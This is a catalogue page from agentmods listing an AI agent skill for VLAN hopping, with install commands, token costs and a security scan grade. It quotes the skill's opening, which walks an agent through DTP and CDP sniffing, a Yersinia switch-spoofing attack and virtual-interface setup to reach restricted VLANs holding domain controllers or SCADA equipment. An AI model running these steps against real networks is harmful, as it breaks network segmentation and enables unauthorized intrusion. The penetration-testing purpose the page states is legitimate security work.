Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunkingWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00087 | $0.01971 |
| Opus 5 | $0.00044 | $0.00986 |
| Sonnet 5 | $0.00017 | $0.00394 |
| Haiku 4.5 | $0.00009 | $0.00197 |
Grade A, and why
vlan-hopping-and-trunking scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo tcpdump -i eth0 -nn -v -e | grep -i dtp Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
How it starts
The opening of the file, as written. The whole thing — 174 lines — stays where its author put it; the contents beside it link to each section on GitHub.
VLAN Hopping & Trunking Attacks
When to Use
- You plug a physical device into a wall jack (e.g., in a conference room) and end up on a heavily restricted Guest or VoIP VLAN.
- Your objective is to reach the internal subnets containing Domain Controllers, sensitive servers, or SCADA equipment.
- When validating if a client's core networking equipment is securely configured.
Prerequisites
- Network access to the target subnet (VPN, pivot, or direct connection)
- Nmap and relevant network scanning tools installed
- Understanding of TCP/IP, common protocols, and network segmentation
- Root/admin access on the attack machine for raw socket operations
Workflow
Phase 1: Passive Reconnaissance (Identifying DTP and Trunking)
# Concept: If a switch port is placed in "Dynamic Desirable" or "Dynamic Auto" mode,
# it listens for DTP (Dynamic Trunking Protocol) packets to negotiate a trunk link.
# If we negotiate a trunk link, we can see and inject traffic into ALL VLANs.
# 1. Fire up Wireshark or tcpdump on your connected interface (eth0).
# Leave it running for a few minutes.
sudo tcpdump -i eth0 -nn -v -e | grep -i dtp
# 2. Look closely at CDP (Cisco Discovery Protocol) or LLDP packets.
# These protocols often leak the Native VLAN ID, Management IP addresses, and Switch models.
sudo tcpdump -i eth0 -nn -v -s 1500 -c 1 'ether[20:2] == 0x2000' # CDP filter
Phase 2: Switch Spoofing Attack (DTP Exploitation)
# Concept: Impersonate a switch by sending DTP "Desirable" packets.
# If the target switch port isn't hardcoded to Access Mode (switchport mode access),
# it will form a Trunk with our attacking laptop.
# 1. Use Yersinia to send DTP packets
# Launch Yersinia in interactive mode
sudo yersinia -I
# Press 'g' and select DTP (Dynamic Trunking Protocol).
# Press 'x' to open the attack menu.
# Select "Enable trunking".
# 2. Verify Trunk establishment
# If successful, your interface should start receiving broadcast traffic from MULTIPLE VLANs.
sudo tcpdump -i eth0 -e | grep "802.1Q"
# 3. Create virtual interfaces to access the targets
# Now that we are trunking, we need an IP on the target VLAN (e.g., VLAN 10).
sudo modprobe 8021q
sudo vconfig add eth0 10
sudo ifconfig eth0.10 up
sudo dhclient eth0.10
# BOOM! If DHCP assigns an IP, you've successfully hopped onto the restricted VLAN 10.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 174 lines · 87 tokens per session scan A acd1eaa3bc6d
vlan-hopping-and-trunking is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 87 tokens to every session and 1,971 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
meraki-network-ops
Cisco Meraki organization and network operations (read-only) — org discovery, network inventory, device inventory, clients, group policies, admins, licensing, alert settings via Cisco's official Meraki MCP. Use as the entry point for any Meraki question, to discover org and network IDs, or to inventory Meraki networks…
unifly
This skill should be used when the user asks to "manage UniFi devices", "configure UniFi networks", "create a VLAN", "provision an SSID", "create firewall rules", "reorder firewall policies", "create a NAT rule", "set up port forwarding", "configure masquerade NAT", "add DNS records", "manage traffic matching lists"…
configuring-network-segmentation-with-vlans
Designs and implements VLAN-based network segmentation on managed switches to isolate network zones, enforce access control between segments, and reduce the attack surface by limiting lateral movement paths in enterprise network environments.
telecommunications-expert
Expert-level telecommunications systems, network management, billing, 5G, SDN, and telecom infrastructure. Use when the user mentions telecom, networking, 5G, billing, OSS, or BSS, or when the task involves Telecommunications Systems, Network Technologies, Standards and Protocols, or Network Management.
unifi-wifi
Use when UniFi Wi-Fi is slow, unstable, or being tuned: "my wifi is slow but speedtest on the router is fast", "great signal, terrible speed", "should I use 80MHz or 40MHz", "channel planning", "co-channel interference", "DFS channels", "my APs keep picking the same channel", "audit my SSIDs", "hidden SSID", or…
unifi-connect
Use when connecting an agent to a UniFi gateway (UDM Pro, UDM SE, Cloud Gateway) for the first time, or when API calls to one are failing: empty response bodies, curl returning HTTP 000, 401 on a key that works elsewhere, "how do I get a UniFi API key", "SSH is closed on my UDM", "connect to UniFi", "talk to my UniFi…